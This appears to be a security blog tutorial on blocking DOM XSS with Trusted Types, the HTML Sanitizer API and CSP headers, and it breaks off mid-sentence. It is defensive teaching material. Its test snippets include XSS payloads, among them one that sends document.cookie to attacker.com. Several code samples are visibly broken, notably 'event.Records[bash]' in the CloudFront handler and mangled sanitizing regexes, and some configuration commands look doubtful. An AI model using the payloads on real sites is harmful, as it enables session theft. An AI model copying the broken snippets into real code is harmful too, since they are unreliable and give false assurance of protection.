Listen to this Post

Introduction
For over two decades, DOM-based Cross-Site Scripting (XSS) has plagued web applications, allowing attackers to manipulate client-side JavaScript and steal sensitive data. With the recent release of Firefox 148 and Safari 26 completing universal support for Trusted Types, all major browser engines now enforce a paradigm that makes DOM XSS structurally impossible at the browser level—provided you opt in via Content-Security-Policy.
Learning Objectives
- Understand how Trusted Types eliminate DOM XSS by enforcing type-safe DOM manipulation
- Implement Trusted Types policies and CSP headers across Linux and Windows environments
- Test and validate Trusted Types enforcement using browser devtools and custom policy reporting
You Should Know
1. Understanding Trusted Types & Universal Browser Support
The web security landscape shifted permanently when Firefox 148 shipped Trusted Types support, joining Chrome (since v83) and Safari 26. This means every modern browser now enforces the `require-trusted-types-for ‘script’` directive. The HTML Sanitizer API combined with `setHTML()` creates a “perfect types” configuration where injection sinks like `innerHTML` refuse unsafe strings unless wrapped in a TrustedType.
How it works: Instead of allowing arbitrary strings into DOM sinks, Trusted Types force developers to create objects from trusted policies. Any attempt to assign a raw string to `element.innerHTML` throws a TypeError.
Step-by-step to enable Trusted Types:
1. Add CSP header (Apache on Linux):
Header set Content-Security-Policy "require-trusted-types-for 'script'; trusted-types default"
2. Nginx on Linux:
add_header Content-Security-Policy "require-trusted-types-for 'script'; trusted-types default";
3. IIS on Windows (web.config):
<system.webServer> <httpProtocol> <customHeaders> <add name="Content-Security-Policy" value="require-trusted-types-for 'script'; trusted-types default" /> </customHeaders> </httpProtocol> </system.webServer>
4. Test in browser console:
// This will throw a TypeError if Trusted Types are enforced
document.getElementById('test').innerHTML = '<img src=x onerror=alert(1)>';
// Correct way:
const policy = trustedTypes.createPolicy('myPolicy', {
createHTML: (string) => string.replace(/[<>]/g, '')
});
document.getElementById('test').innerHTML = policy.createHTML('<b>safe</b>');
- Configuring the HTML Sanitizer API for Zero-Trust DOM Manipulation
The Sanitizer API (new Sanitizer()) provides built-in, browser-native sanitization that strips dangerous content before insertion. When combined with setHTML(), you eliminate manual escaping errors.
Step-by-step implementation:
1. Default sanitizer usage:
const sanitizer = new Sanitizer(); // blocks script, onclick, etc.
element.setHTML(userInput, { sanitizer });
2. Custom sanitizer configuration (allow only safe tags):
const safeConfig = {
allowElements: ['b', 'i', 'em', 'strong', 'a'],
allowAttributes: { 'href': ['a'] },
dropAttributes: { 'onclick': [''], 'onerror': [''] }
};
const customSanitizer = new Sanitizer(safeConfig);
commentDiv.setHTML(userComment, { sanitizer: customSanitizer });
3. Testing bypass attempts:
const malicious = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">';
const sanitized = new Sanitizer().sanitizeFor('div', malicious);
console.log(sanitized.innerHTML); // Shows stripped content
- Fallback for older browsers: Use DOMPurify as polyfill only when Trusted Types unavailable.
-
Rewriting Your CSP Rollout Strategy for Cross-Browser Enforcement
With universal Trusted Types support, your Content-Security-Policy deployment must change. The old approach of gradual header addition no longer suffices—you can now enforce `require-trusted-types-for` across all environments.
Step-by-step rollout strategy:
1. Report-only mode first (Linux cURL test):
curl -I -H "Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri /csp-violation" https://yourapp.com
2. Windows PowerShell test:
Invoke-WebRequest -Uri "https://yourapp.com" -Headers @{"Content-Security-Policy-Report-Only"="require-trusted-types-for 'script'; report-uri /csp-violation"}
3. Collect violations endpoint (Node.js example):
app.post('/csp-violation', (req, res) => {
console.log('CSP Violation:', req.body);
// Log to SIEM or monitoring system
res.status(204).end();
});
4. Enforce after zero violations for 7 days:
add_header Content-Security-Policy "require-trusted-types-for 'script'; trusted-types myPolicy default; report-uri /csp-violation";
- Policy names management: Use `trusted-types myAppPolicy default` to allow only named policies—prevents attackers from creating their own policies.
-
Testing DOM XSS Mitigation with Browser DevTools and Custom Scripts
Validate that Trusted Types actually block injection attempts using both manual and automated methods.
Step-by-step testing:
1. Chrome/Edge DevTools console test:
// Check if enforced
console.log(trustedTypes); // Should exist
// Attempt violation
try {
document.body.innerHTML = '<script>alert("XSS")</script>';
} catch(e) {
console.log('Blocked:', e.message);
}
- Firefox DevTools (v148+): Enable CSP logging in `about:config` → `security.csp.enable` and check Console tab for “Trusted Type violation”.
3. Automated test with Puppeteer (Node.js):
const browser = await puppeteer.launch();
const page = await browser.newPage();
await page.setExtraHTTPHeaders({
'Content-Security-Policy': "require-trusted-types-for 'script'"
});
const violation = await page.evaluate(() => {
try {
document.body.innerHTML = '<img src=x onerror=alert(1)>';
return false;
} catch(e) {
return e.name === 'TypeError';
}
});
console.log('Trusted Types working:', violation);
4. Linux headless test:
google-chrome --headless --disable-gpu --dump-dom --enable-features=TrustedTypes https://yourapp.com/test-xss.html 2>&1 | grep -i "trusted type"
- Building a Custom Trusted Types Policy for Legacy Code Migration
Many apps rely on third-party libraries that write directly to DOM sinks. Create default policies that sanitize without breaking functionality.
Step-by-step policy creation:
- Global fallback policy (logs violations but allows sanitized):
const legacyPolicy = trustedTypes.createPolicy('legacySanitizer', { createHTML: (input) => { console.warn('Unsafe HTML assignment detected:', input); // Simple escape – upgrade to DOMPurify for production return input.replace(/<script.?>.?<\/script>/gi, '') .replace(/on\w+="[^"]"/g, ''); }, createScriptURL: (url) => { if (url.startsWith('https://trusted-cdn.com/')) return url; throw new Error('Untrusted script URL blocked'); } });
2. Override default sinks:
const originalInnerHTML = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
set: function(value) {
if (typeof value === 'string') {
value = legacyPolicy.createHTML(value);
}
originalInnerHTML.set.call(this, value);
}
});
3. Testing policy effectiveness:
document.getElementById('legacyWidget').innerHTML = '
<div onclick="stealCookies()">Click</div>
';
// onclick attribute stripped, div remains
- Cloud Hardening: Enforcing Trusted Types via WAF and CDN Headers
For cloud-deployed apps (AWS, Azure, GCP), enforce CSP headers at edge to ensure even legacy backend services comply.
Step-by-step cloud configuration:
1. AWS CloudFront (Lambda@Edge):
exports.handler = (event, context, callback) => {
const response = event.Records[bash].cf.response;
response.headers['content-security-policy'] = [{
key: 'Content-Security-Policy',
value: "require-trusted-types-for 'script'; trusted-types default"
}];
callback(null, response);
};
- Azure Front Door (Rules Engine): Create rule to modify response headers with CSP.
-
Google Cloud CDN (with External Application Load Balancer):
gcloud compute backend-services update BACKEND_NAME \ --security-policy=require-trusted-types-policy \ --custom-response-header="Content-Security-Policy: require-trusted-types-for 'script'"
4. Cloudflare Workers:
async function handleRequest(request) {
const response = await fetch(request);
const newHeaders = new Headers(response.headers);
newHeaders.set('Content-Security-Policy', "require-trusted-types-for 'script'");
return new Response(response.body, { headers: newHeaders });
}
addEventListener('fetch', event => event.respondWith(handleRequest(event.request)));
7. Vulnerability Exploitation & Mitigation: What Attackers Lose
DOM XSS has been a top OWASP risk because injection sinks like eval(), setTimeout(), and `innerHTML` accept raw strings. Trusted Types close these paths.
Attack example that no longer works:
// Attacker-controlled URL hash: <img src=x onerror=alert(document.cookie)> const userInput = location.hash.slice(1); document.write(userInput); // Blocked by Trusted Types
Mitigation bypasses that fail:
- Using `setAttribute(‘onclick’, code)` → requires TrustedScript
– `location.href = ‘javascript:alert()’` → blocked by TrustedScriptURL
– `element.setAttribute(‘src’, ‘data:text/html,